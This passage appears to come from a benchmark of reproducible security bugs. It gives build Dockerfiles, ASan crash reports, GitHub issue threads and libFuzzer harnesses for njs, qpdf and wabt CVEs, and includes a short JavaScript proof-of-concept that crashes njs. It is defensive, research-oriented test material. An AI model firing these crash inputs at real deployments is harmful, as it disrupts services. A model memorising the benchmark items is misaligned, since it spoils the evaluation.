CC=clang-7 CXX=clang++-7 ./configure --disable-openmp
<!-- Thanks for reporting the issue to ImageMagick! -->
Comments:
Comment by urban-warrior on 2019-06-22 00:42:20+00:00:
Thanks for the problem report. We can reproduce it and will have a patch to fix it in GIT master branch @ https://github.com/ImageMagick/ImageMagick later today. The patch will be available in the beta releases of ImageMagick @ http://www.imagemagick.org/download/beta/ by sometime tomorrow.
---
Comment by nohmask on 2019-07-08 01:49:17+00:00:
This was assigned CVE-2019-13298.
|
[] |
[
{
"sha": "d4fc44b58a14f76b1ac997517d742ee12c9dc5d3",
"url": "https://github.com/ImageMagick/ImageMagick/commit/d4fc44b58a14f76b1ac997517d742ee12c9dc5d3"
}
] |
njs.cve-2022-29779
|
nginx/njs
|
8b39afdad9a0761e0a5d4af1a762bd9a6daef572
| 2022-04-22T19:02:28
|
njs
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool mercurial git libpcre2-dev
RUN git clone https://github.com/nginx/njs njs
RUN git -C njs checkout 8b39afdad9a0761e0a5d4af1a762bd9a6daef572
WORKDIR $SRC/njs
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
./autogen.sh
CFLAGS="$CFLAGS -fno-use-cxa-atexit" CXXFLAGS="$CXXFLAGS -fno-use-cxa-atexit" ./configure
make -j$(nproc) clean
make -j$(nproc) all
make install -j$(nproc)
sed -i "s/\$libS\$libR \(-lpcre2-8$\)/\$libS\$libR -Wl,-Bstatic \1 -Wl,-Bdynamic/" /usr/local/bin/pcre2-config
./configure
make njs_fuzzer -j$(nproc)
mkdir -p $SEED_CORPUS_PATH
|
/src/njs
|
address
|
================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/nginx/njs/issues/485
## Description:
Issue: nginx/njs#485
Title: SEGV src/njs_value.c:240 in njs_value_own_enumerate
State: closed
Created by: xmzyshypnc
Created at: 2022-03-16 09:40:33+00:00
Labels: bug, fuzzer
Issue Body:
# Environment
OS : Linux leanderwang-LC2 5.13.0-30-generic https://github.com/nginx/njs/issues/33 SMP Mon Feb 7 14:25:10 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
Commit : https://github.com/nginx/njs/commit/f65981b0b8fcf02d69a40bc934803c25c9f607ab
Version : 0.7.3
Build :
NJS_CFLAGS="$NJS_CFLAGS -fsanitize=address"
NJS_CFLAGS="$NJS_CFLAGS -fno-omit-frame-pointer"
# PoC
```js
function main() {
var empty_arr = {};
var arr1 = [empty_arr];
var arr2 = new Uint8Array();
arr2.__proto__ = arr1;
var arr3 = arr2.splice(..."bigint");
Promise.valueOf = arr3;
var v9 = Array(0x20000000000000);
}
main();
```
# Stack dump
```bash
AddressSanitizer:DEADLYSIGNAL
=================================================================
==2523460==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x555b64452f1c bp 0x7ffdcdd97650 sp 0x7ffdcdd97520 T0)
==2523460==The signal is caused by a READ memory access.
==2523460==Hint: address points to the zero page.
#0 0x555b64452f1b in njs_value_own_enumerate src/njs_value.c:240
#1 0x555b6448d019 in njs_object_traverse src/njs_object.c:1230
#2 0x555b644df091 in njs_builtin_match_native_function src/njs_builtin.c:726
#3 0x555b644d26cb in njs_add_backtrace_entry src/njs_error.c:1309
#4 0x555b644d26cb in njs_error_stack_new src/njs_error.c:102
#5 0x555b644d26cb in njs_error_stack_attach src/njs_error.c:161
#6 0x555b6446455e in njs_vmcode_interpreter src/njs_vmcode.c:985
#7 0x555b644bbaba in njs_function_lambda_call src/njs_function.c:703
#8 0x555b644620fb in njs_vmcode_interpreter src/njs_vmcode.c:788
#9 0x555b6445c0ba in njs_vm_start src/njs_vm.c:553
#10 0x555b644453f8 in njs_process_script src/njs_shell.c:890
#11 0x555b64445ebf in njs_process_file src/njs_shell.c:619
#12 0x555b6444721f in main src/njs_shell.c:303
#13 0x7f301e32b0b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x240b2)
#14 0x555b64442c4d in _start (/home/wz/njs/njs/build/njs+0x4bc4d)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV src/njs_value.c:240 in njs_value_own_enumerate
==2523460==ABORTING
```
# Credit
xmzyshypnc(@xmzyshypnc) and P1umer(@P1umer)
Commit References:
f65981b0b8fcf02d69a40bc934803c25c9f607ab
|
[] |
[
{
"sha": "2e00e95473861846aa8538be87db07699d9f676d",
"url": "https://github.com/nginx/njs/commit/2e00e95473861846aa8538be87db07699d9f676d"
},
{
"sha": "f65981b0b8fcf02d69a40bc934803c25c9f607ab",
"url": "https://github.com/nginx/njs/commit/f65981b0b8fcf02d69a40bc934803c25c9f607ab"
}
] |
qpdf.cve-2017-18184
|
qpdf/qpdf
|
021c229331444aae507186c7b4a54bb1692b5846
| 2017-08-25T21:26:53
|
qpdf
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool cmake nasm
RUN git clone https://github.com/qpdf/qpdf qpdf
RUN git -C qpdf checkout 021c229331444aae507186c7b4a54bb1692b5846
WORKDIR $SRC/qpdf
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
./configure --static --prefix="$WORK"
make -j$(nproc) all
make install -j$(nproc)
cmake . -DCMAKE_INSTALL_PREFIX="$WORK" -DENABLE_STATIC:bool=on
make -j$(nproc)
./configure \
--enable-static \
--disable-shared \
--prefix="$WORK" \
LDFLAGS="-L$WORK/lib" \
CPPFLAGS="-I$WORK/include" \
LIBS="-pthread"
|
/src/qpdf
|
address
|
================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/qpdf/qpdf/issues/147
## Description:
Issue: qpdf/qpdf#147
Title: stack out of bounds read in function iterate_rc4
State: closed
Created by: hannob
Created at: 2017-08-23 09:37:44+00:00
Labels: bug, next
Issue Body:
The attached file will cause an out of bounds read in qpdf, detectable with address sanitizer.
[qpdf-stack-oob-iterate_rc4.zip](https://github.com/qpdf/qpdf/files/1244900/qpdf-stack-oob-iterate_rc4.zip)
```
==16591==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffee632f740 at pc 0x00000075ee62 bp 0x7ffee632f390 sp 0x7ffee632f388
READ of size 1 at 0x7ffee632f740 thread T0
#0 0x75ee61 in iterate_rc4(unsigned char*, int, unsigned char*, int, int, bool) /f/qpdf/qpdf/libqpdf/QPDF_encryption.cc:211:15
#1 0x731971 in check_owner_password_V4(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, QPDF::EncryptionData const&) /f/qpdf/qpdf/libqpdf/QPDF_encryption.cc:594:5
#2 0x731971 in check_owner_password(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, QPDF::EncryptionData const&) /f/qpdf/qpdf/libqpdf/QPDF_encryption.cc:628
#3 0x731971 in QPDF::initializeEncryption() /f/qpdf/qpdf/libqpdf/QPDF_encryption.cc:1014
#4 0x568e6c in QPDF::parse(char const*) /f/qpdf/qpdf/libqpdf/QPDF.cc:343:5
#5 0x565e1a in QPDF::processFile(char const*, char const*) /f/qpdf/qpdf/libqpdf/QPDF.cc:141:5
#6 0x51853d in main /f/qpdf/qpdf/qpdf/qpdf.cc:2300:17
#7 0x7f95a13f14f0 in __libc_start_main (/lib64/libc.so.6+0x204f0)
#8 0x41d459 in _start (/f/qpdf/qpdf/qpdf/build/qpdf+0x41d459)
Address 0x7ffee632f740 is located in stack of thread T0 at offset 320 in frame
#0 0x7273cf in QPDF::initializeEncryption() /f/qpdf/qpdf/libqpdf/QPDF_encryption.cc:785
This frame has 146 object(s):
[32, 40) '__dnew.i.i.i.i3390'
[64, 72) '__dnew.i.i.i.i3372'
[96, 97) 'disregard.i.i'
[112, 120) '__dnew.i.i.i.i3318'
[144, 176) 'u_value.i.i'
[208, 240) 'u_value.i.i.i.i'
[272, 280) '__dnew.i.i.i.i.i.i'
[304, 320) 'key.i.i' <== Memory access at offset 320 overflows this variable
[336, 368) 'O_data.i.i'
[400, 432) 'new_user_password.i.i'
[464, 472) '__dnew.i.i.i.i2662'
[496, 504) '__dnew.i.i.i.i2627'
[528, 536) '__dnew.i.i.i.i2561'
[560, 568) '__dnew.i.i.i.i2543'
[592, 600) '__dnew.i.i.i.i2372'
[624, 632) '__dnew.i.i.i.i2354'
[656, 664) '__dnew.i.i.i.i2102'
[688, 696) '__dnew.i.i.i.i2084'
[720, 728) '__dnew.i.i.i.i1953'
[752, 760) '__dnew.i.i.i.i1935'
[784, 792) '__dnew.i.i.i.i1760'
[816, 824) '__dnew.i.i.i.i1454'
[848, 856) '__dnew.i.i.i.i1436'
[880, 888) '__dnew.i.i.i.i1206'
[912, 920) '__dnew.i.i.i.i1188'
[944, 952) '__dnew.i.i.i.i1081'
[976, 984) '__dnew.i.i.i.i1063'
[1008, 1016) '__dnew.i.i.i.i962'
[1040, 1048) '__dnew.i.i.i.i902'
[1072, 1104) 'ref.tmp'
[1136, 1168) 'id1'
[1200, 1240) 'id_obj'
[1280, 1312) 'ref.tmp14'
[1344, 1384) 'temp.lvalue'
[1424, 1456) 'ref.tmp20'
[1488, 1528) 'temp.lvalue21'
[1568, 1696) 'ref.tmp23'
[1728, 1760) 'ref.tmp28'
[1792, 1824) 'ref.tmp35'
[1856, 1896) 'encryption_dict'
[1936, 1968) 'ref.tmp40'
[2000, 2032) 'ref.tmp57'
[2064, 2104) 'temp.lvalue60'
[2144, 2176) 'ref.tmp61'
[2208, 2240) 'ref.tmp64'
[2272, 2312) 'temp.lvalue66'
[2352, 2384) 'ref.tmp67'
[2416, 2448) 'ref.tmp99'
[2480, 2512) 'ref.tmp106'
[2544, 2584) 'temp.lvalue110'
[2624, 2656) 'ref.tmp111'
[2688, 2816) 'ref.tmp115'
[2848, 2880) 'ref.tmp123'
[2912, 2944) 'ref.tmp130'
[2976, 3016) 'temp.lvalue132'
[3056, 3088) 'ref.tmp133'
[3120, 3160) 'temp.lvalue136'
[3200, 3232) 'ref.tmp137'
[3264, 3304) 'temp.lvalue145'
[3344, 3376) 'ref.tmp146'
[3408, 3448) 'temp.lvalue154'
[3488, 3520) 'ref.tmp155'
[3552, 3592) 'temp.lvalue163'
[3632, 3664) 'ref.tmp164'
[3696, 3728) 'ref.tmp221'
[3760, 3792) 'ref.tmp228'
[3824, 3864) 'temp.lvalue232'
[3904, 3936) 'ref.tmp233'
[3968, 4008) 'temp.lvalue236'
[4048, 4080) 'ref.tmp237'
[4112, 4144) 'O'
[4176, 4216) 'temp.lvalue241'
[4256, 4288) 'ref.tmp242'
[4320, 4352) 'U'
[4384, 4424) 'temp.lvalue244'
[4464, 4496) 'ref.tmp245'
[4528, 4568) 'temp.lvalue247'
[4608, 4640) 'ref.tmp248'
[4672, 4704) 'ref.tmp266'
[4736, 4768) 'ref.tmp273'
[4800, 4832) 'ref.tmp274'
[4864, 4896) 'ref.tmp275'
[4928, 4960) 'ref.tmp276'
[4992, 5024) 'ref.tmp277'
[5056, 5088) 'ref.tmp279'
[5120, 5152) 'OE'
[5184, 5216) 'UE'
[5248, 5280) 'Perms'
[5312, 5344) 'ref.tmp300'
[5376, 5408) 'ref.tmp307'
[5440, 5480) 'temp.lvalue311'
[5520, 5552) 'ref.tmp312'
[5584, 5624) 'temp.lvalue315'
[5664, 5696) 'ref.tmp316'
[5728, 5768) 'temp.lvalue324'
[5808, 5840) 'ref.tmp325'
[5872, 5904) 'ref.tmp362'
[5936, 5968) 'ref.tmp369'
[6000, 6032) 'ref.tmp373'
[6064, 6104) 'temp.lvalue374'
[6144, 6176) 'ref.tmp375'
[6208, 6240) 'ref.tmp378'
[6272, 6312) 'temp.lvalue379'
[6352, 6384) 'ref.tmp380'
[6416, 6448) 'ref.tmp383'
[6480, 6520) 'temp.lvalue384'
[6560, 6592) 'ref.tmp385'
[6624, 6656) 'ref.tmp406'
[6688, 6720) 'ref.tmp413'
[6752, 6792) 'temp.lvalue417'
[6832, 6864) 'ref.tmp418'
[6896, 6936) 'temp.lvalue421'
[6976, 7008) 'ref.tmp422'
[7040, 7072) 'ref.tmp437'
[7104, 7136) 'ref.tmp444'
[7168, 7208) 'temp.lvalue451'
[7248, 7280) 'ref.tmp452'
[7312, 7352) 'temp.lvalue470'
[7392, 7424) 'ref.tmp471'
[7456, 7496) 'CF'
[7536, 7568) 'ref.tmp479'
[7600, 7648) 'keys'
[7680, 7720) 'cdict'
[7760, 7800) 'temp.lvalue488'
[7840, 7872) 'ref.tmp489'
[7904, 7936) 'method_name'
[7968, 8008) 'temp.lvalue492'
[8048, 8080) 'ref.tmp493'
[8112, 8152) 'StmF'
[8192, 8224) 'ref.tmp502'
[8256, 8296) 'StrF'
[8336, 8368) 'ref.tmp504'
[8400, 8440) 'EFF'
[8480, 8512) 'ref.tmp506'
[8544, 8584) 'agg.tmp'
[8624, 8664) 'agg.tmp511'
[8704, 8744) 'agg.tmp516'
[8784, 9000) 'data'
[9072, 9104) 'ref.tmp554'
[9136, 9168) 'ref.tmp556'
[9200, 9232) 'ref.tmp561'
[9264, 9265) 'perms_valid'
[9280, 9312) 'ref.tmp568'
[9344, 9472) 'ref.tmp577'
[9504, 9536) 'ref.tmp585'
[9568, 9600) 'ref.tmp592'
Comments:
Comment by jberkenbilt on 2017-08-23 16:07:39+00:00:
Thanks. I am able to reproduce this. I will make sure it is fixed before 7.0.0 is released.
---
Comment by jberkenbilt on 2017-08-26 02:31:40+00:00:
I looked through the code, and there are places where I'm passing buffers that are too short. I'll audit all the calls to iterate_rc4 and make sure this is fixed properly.
---
Comment by jberkenbilt on 2017-08-27 01:37:18+00:00:
I've fixed this one and am now going through and making sure qpdf's test suite is clean with address sanitizer. That was the only invalid read. There are several small leaks, though most are not for situations that would occur under ordinary use. Still, they all have to be fixed, and right now, they all look like they'll be easy to fix.
---
Comment by jberkenbilt on 2017-08-27 02:04:42+00:00:
Actually, address sanitizer gets false positives with PointerHolder. valgrind doesn't show any leaks throughout the entire test suite. Address sanitizer doesn't show any errors except leaks, and based on my analysis with a quick script, every direct leak reported by address sanitizer has PointerHolder in its stack trace. There was actually only one exception, which was a missing free() call in the test suite for the C API. It was just test code. I fixed it. The actual library isn't leaking anything.
So I *think* there are no actual memory leaks for any situation exercised by the test suite at this point. That should be most of them. I'm not sure why address sanitizer is reporting leaks with PointerHolder. I've been using that code since around 1997 including on long-running systems. I tried quickly to reproduce it, but my first attempt didn't work.
Anyway, thanks for this report. I think we should be in good shape overall with this type of issue.
---
Comment by hannob on 2017-08-27 09:16:00+00:00:
I'll have a look at the leak. It is *very* rare that asan produces false positives (and if it does I'd rather like to report them to the asan devs).
Other than that: If you're interested here's the code stub I used to test qpdf with libfuzzer:
https://github.com/hannob/libfuzzer-examples/blob/master/libfuzzer-qpdf.cpp
libfuzzer stops with every bug found, so for proper fuzzing it required all the easy to find bugs I reported lately to be fixed first.
Also I'd recommend that you add all the malformed PDFs I sent you in the bug reports to the test suite to make sure they're properly archived for future testing. (I also recommend cross-testing with known bug-triggering samples of different PDF implementations, I'll write a blogpost about this soon.)
---
Comment by jberkenbilt on 2017-08-27 13:06:59+00:00:
I have added all but one of the PDFs to the test suite. I didn't add this one because it doesn't actually cause a test failure before the fix, though I should recheck that.
You can configure with asan and run the test suite. There are about 10 or 15 failures. Take a look at the leaks. valgrind does not recognize them as leaks. I'll see if I can narrow down to either reproduce a bug to report or figure out why they are actually leaks if they are.
I'll reopen until I've done this. Thanks again.
---
Comment by jberkenbilt on 2017-08-27 13:08:21+00:00:
I also didn't add 148. I'll add these and make sure I have a way to see test failures with them. I would like to make qpdf test clean with address sanitizer so I can have it turned on as a routine part of my development. I do test with valgrind as a routine part of my development, and qpdf tests clean with that.
---
Comment by jberkenbilt on 2017-08-27 19:03:16+00:00:
It's possible that there may be leaks with PointerHolder if the object being stored throws an exception on its constructor. This idea just occurred to me as this is a common leak case in C++. I haven't actually checked. I'll give it a look. This is as much a reminder to myself as anything else.
---
Comment by jberkenbilt on 2017-08-28 17:37:59+00:00:
I've had only 10 minutes to look at it, but there is definitely a leak. I will find and fix it.
---
Comment by jberkenbilt on 2017-08-29 01:51:53+00:00:
I found the leak. There were circular references in stream dictionaries and involving stream providers. There was already a mechanism in qpdf to break circular references at the time of destruction, and it was already being used for arrays and dictionaries, but not for streams. It was a very small code change to break cycles for streams and it could be done without breaking binary compatibility. After that small fix, there are only three tests left with leaks. I will look at them now.
---
Comment by jberkenbilt on 2017-08-29 02:18:01+00:00:
qpdf's test suite is now clean with address santizer up through this issue, so I'm closing it again.
---
Comment by ghost on 2018-02-14 10:09:12+00:00:
This has been assigned CVE-2017-18184
Attachments:
https://github.com/qpdf/qpdf/files/1244900/qpdf-stack-oob-iterate_rc4.zip
|
[
{
"content": "#include \"qpdf/qpdf-c.h\"\n\n#include <cstddef>\n#include <cstdint>\n#include <cstdlib>\n#include <string>\n#include <vector>\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t* data, size_t size) {\n _qpdf_data* qpdf = qpdf_init();\n const char* buffer = reinterpret_cast<const char*>(data);\n qpdf_read_memory(qpdf, /*description=*/\"\", buffer, size, /*password=*/\"\");\n qpdf_cleanup(&qpdf);\n return 0;\n}\n",
"filename": "qpdf_read_memory_fuzzer.cc"
}
] |
[
{
"sha": "dea704f0ab7f625e1e7b3f9a1110b45b63157317",
"url": "https://github.com/qpdf/qpdf/commit/dea704f0ab7f625e1e7b3f9a1110b45b63157317"
}
] |
wabt.cve-2023-46331
|
webassembly/wabt
|
963f973469b45969ce198e0c86d3af316790a780
| 2023-05-12T16:56:46
|
wabt
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y cmake libtool make python
RUN git clone https://github.com/webassembly/wabt wabt
RUN git -C wabt checkout 963f973469b45969ce198e0c86d3af316790a780
WORKDIR $SRC/wabt
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
mkdir -p build
cd build
cmake ..
cmake --build . --parallel
|
/src/wabt
|
address
|
================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/WebAssembly/wabt/issues/2310
## Description:
Issue: WebAssembly/wabt#2310
Title: Out-of-Bound Memory Read in DataSegment::IsValidRange()
State: closed
Created by: mobsceneZ
Created at: 2023-10-08 07:32:47+00:00
Labels: sanitizer failures, interpreter
Issue Body:
### Environment
```shell
OS : Linux 5.10.16.3-microsoft-standard-WSL2 #1 SMP Fri Apr 2 22:23:49 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
Commit : 0e78c24fd231d5ee67ccd271bfa317faa963281c
Version : 1.0.33 (git~1.0.33-35-gdddc03d3)
Clang Verison : 12.0.1
Build : mkdir build && cd build && export CC=clang CXX=clang++ CFLAGS="-fsanitize=address -g" CXXFLAGS="-fsanitize=address -g" && cmake .. && cmake --build .
Affected Tool : wasm-interp
Enabled Features : None
Impact : Out-of-Bound Memory Read Access
```
### Proof of Concept
[poc-wasm-interp-01.zip](https://github.com/WebAssembly/wabt/files/12840027/poc-wasm-interp-01.zip)
### Stack Trace Provide By AddressSanitizer
```shell
$ ~/wabt_asan/bin/wasm-interp poc.wasm
AddressSanitizer:DEADLYSIGNAL
=================================================================
==3549==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000008 (pc 0x00000064a0fe bp 0x7ffcceb61670 sp 0x7ffcceb61640 T0)
==3549==The signal is caused by a READ memory access.
==3549==Hint: address points to the zero page.
#0 0x64a0fe in wabt::interp::DataSegment::IsValidRange(unsigned long, unsigned long) const /home/lain/wabt_asan/src/interp/interp.cc:734:19
#1 0x649cd7 in wabt::interp::Memory::Init(unsigned long, wabt::interp::DataSegment const&, unsigned long, unsigned long) /home/lain/wabt_asan/src/interp/interp.cc:617:11
#2 0x666cb4 in wabt::interp::Thread::DoMemoryInit(wabt::interp::Instr, wabt::interp::RefPtr<wabt::interp::Trap>*) /home/lain/wabt_asan/src/interp/interp.cc:2075:3
#3 0x65b199 in wabt::interp::Thread::StepInternal(wabt::interp::RefPtr<wabt::interp::Trap>*) /home/lain/wabt_asan/src/interp/interp.cc:1510:32
#4 0x65352b in wabt::interp::Thread::Run(int, wabt::interp::RefPtr<wabt::interp::Trap>*) /home/lain/wabt_asan/src/interp/interp.cc:1086:19
#5 0x645a70 in wabt::interp::Thread::Run(wabt::interp::RefPtr<wabt::interp::Trap>*) /home/lain/wabt_asan/src/interp/interp.cc:1078:14
#6 0x644caf in wabt::interp::DefinedFunc::DoCall(wabt::interp::Thread&, std::vector<wabt::interp::Value, std::allocator<wabt::interp::Value> > const&, std::vector<wabt::interp::Value, std::allocator<wabt::interp::Value> >&, wabt::interp::RefPtr<wabt::interp::Trap>*) /home/lain/wabt_asan/src/interp/interp.cc:428:19
#7 0x64417d in wabt::interp::Func::Call(wabt::interp::Store&, std::vector<wabt::interp::Value, std::allocator<wabt::interp::Value> > const&, std::vector<wabt::interp::Value, std::allocator<wabt::interp::Value> >&, wabt::interp::RefPtr<wabt::interp::Trap>*, wabt::Stream*) /home/lain/wabt_asan/src/interp/interp.cc:394:10
#8 0x6512e6 in wabt::interp::Instance::Instantiate(wabt::interp::Store&, wabt::interp::Ref, std::vector<wabt::interp::Ref, std::allocator<wabt::interp::Ref> > const&, wabt::interp::RefPtr<wabt::interp::Trap>*) /home/lain/wabt_asan/src/interp/interp.cc:944:22
#9 0x5693e5 in InstantiateModule(std::vector<wabt::interp::Ref, std::allocator<wabt::interp::Ref> >&, wabt::interp::RefPtr<wabt::interp::Module> const&, wabt::interp::RefPtr<wabt::interp::Instance>*) /home/lain/wabt_asan/src/tools/wasm-interp.cc:340:19
#10 0x562e82 in ReadAndRunModule(char const*) /home/lain/wabt_asan/src/tools/wasm-interp.cc:423:3
#11 0x561f67 in ProgramMain(int, char**) /home/lain/wabt_asan/src/tools/wasm-interp.cc:450:25
#12 0x563191 in main /home/lain/wabt_asan/src/tools/wasm-interp.cc:456:10
#13 0x7f9f8fa00082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16
#14 0x4845ed in _start (/home/lain/wabt_asan/bin/wasm-interp+0x4845ed)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/lain/wabt_asan/src/interp/interp.cc:734:19 in wabt::interp::DataSegment::IsValidRange(unsigned long, unsigned long) const
==3549==ABORTING
```
Attachments:
https://github.com/WebAssembly/wabt/files/12840027/poc-wasm-interp-01.zip
Commit References:
0e78c24fd231d5ee67ccd271bfa317faa963281c
|
[
{
"content": "// Copyright 2019 Google LLC\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n#include <cstddef>\n#include <cstdint>\n\n#include <fuzzer/FuzzedDataProvider.h>\n\n#include \"wabt/binary-reader.h\"\n#include \"wabt/interp/binary-reader-interp.h\"\n#include \"wabt/interp/interp.h\"\n#include \"wabt/ir.h\"\n#include \"wabt/option-parser.h\"\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {\n wabt::Errors errors;\n wabt::Features features;\n wabt::interp::ModuleDesc module;\n FuzzedDataProvider data_provider(data, size);\n\n#define WABT_FEATURE(variable, flag, default_, help) \\\n if (data_provider.ConsumeBool()) { features.enable_##variable(); }\n#include \"wabt/feature.def\"\n#undef WABT_FEATURE\n // Add only feature related options, but no logging, stop_on_first_error, etc.\n wabt::ReadBinaryOptions options(features, nullptr, false, false, false);\n std::vector<uint8_t> text = data_provider.ConsumeRemainingBytes<uint8_t>();\n ReadBinaryInterp(\"<fuzzer>\", text.data(), text.size(), options, &errors,\n &module);\n return 0;\n}\n\n",
"filename": "read_binary_interp_fuzzer.cc"
},
{
"content": "// Copyright 2019 Google LLC\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n#include <cstddef>\n#include <cstdint>\n\n#include <fuzzer/FuzzedDataProvider.h>\n\n#include \"wabt/binary-reader-ir.h\"\n#include \"wabt/binary-reader.h\"\n#include \"wabt/ir.h\"\n#include \"wabt/option-parser.h\"\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {\n wabt::Errors errors;\n wabt::Module module;\n wabt::Features features;\n FuzzedDataProvider data_provider(data, size);\n#define WABT_FEATURE(variable, flag, default_, help) \\\n if (data_provider.ConsumeBool()) { features.enable_##variable(); }\n#include \"wabt/feature.def\"\n#undef WABT_FEATURE\n // Add only feature related options, but no logging, stop_on_first_error, etc.\n wabt::ReadBinaryOptions options(features, nullptr, false, false, false);\n std::vector<uint8_t> text = data_provider.ConsumeRemainingBytes<uint8_t>();\n ReadBinaryIr(\"\", text.data(), text.size(), options, &errors, &module);\n return 0;\n}\n\n",
"filename": "read_binary_ir_fuzzer.cc"
},
{
"content": "// Copyright 2019 Google LLC\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n#include \"wabt/binary-reader-ir.h\"\n#include \"wabt/binary-reader.h\"\n#include \"wabt/common.h\"\n#include \"wabt/ir.h\"\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t* data, size_t size) {\n wabt::ReadBinaryOptions options;\n wabt::Errors errors;\n wabt::Module module;\n wabt::ReadBinaryIr(\"dummy filename\", data, size, options, &errors, &module);\n return 0;\n}\n\n",
"filename": "wasm2wat_fuzzer.cc"
},
{
"content": "// Copyright 2019 Google LLC\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n#include \"wabt/binary-reader-objdump.h\"\n#include \"wabt/binary-reader.h\"\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t* data, size_t size) {\n wabt::ObjdumpOptions objdump_options{};\n wabt::ObjdumpState state;\n\n objdump_options.debug = false;\n objdump_options.filename = \"dummy\";\n objdump_options.log_stream = nullptr;\n\n objdump_options.mode = wabt::ObjdumpMode::Prepass;\n wabt::ReadBinaryObjdump(data, size, &objdump_options, &state);\n\n objdump_options.mode = wabt::ObjdumpMode::Headers;\n wabt::ReadBinaryObjdump(data, size, &objdump_options, &state);\n\n objdump_options.mode = wabt::ObjdumpMode::Details;\n wabt::ReadBinaryObjdump(data, size, &objdump_options, &state);\n\n objdump_options.mode = wabt::ObjdumpMode::Disassemble;\n wabt::ReadBinaryObjdump(data, size, &objdump_options, &state);\n\n objdump_options.mode = wabt::ObjdumpMode::RawData;\n wabt::ReadBinaryObjdump(data, size, &objdump_options, &state);\n\n return 0;\n}\n\n",
"filename": "wasm_objdump_fuzzer.cc"
},
{
"content": "// Copyright 2019 Google LLC\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n#include \"wabt/ir.h\"\n#include \"wabt/wast-lexer.h\"\n#include \"wabt/wast-parser.h\"\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t* data, size_t size) {\n wabt::Errors Lexerrors;\n std::unique_ptr<wabt::WastLexer> lexer =\n wabt::WastLexer::CreateBufferLexer(\"fake_file\", data, size, &Lexerrors);\n\n if (!lexer) {\n return 0;\n }\n\n std::unique_ptr<wabt::Module> module;\n wabt::Errors errors;\n wabt::Features features;\n wabt::WastParseOptions parse_wast_options(features);\n ParseWatModule(lexer.get(), &module, &errors, &parse_wast_options);\n\n return 0;\n}\n",
"filename": "wat2wasm_fuzzer.cc"
}
] |
[
{
"sha": "0e78c24fd231d5ee67ccd271bfa317faa963281c",
"url": "https://github.com/webassembly/wabt/commit/0e78c24fd231d5ee67ccd271bfa317faa963281c"
},
{
"sha": "38524984d5a15c433fe111b1367d74c910dbb677",
"url": "https://github.com/kkpan11/wabt/commit/38524984d5a15c433fe111b1367d74c910dbb677"
},
{
"sha": "efa0e99073c6ccd3baaabd38d1eb671afa909249",
"url": "https://github.com/WebAssembly/wabt/commit/efa0e99073c6ccd3baaabd38d1eb671afa909249"
},
{
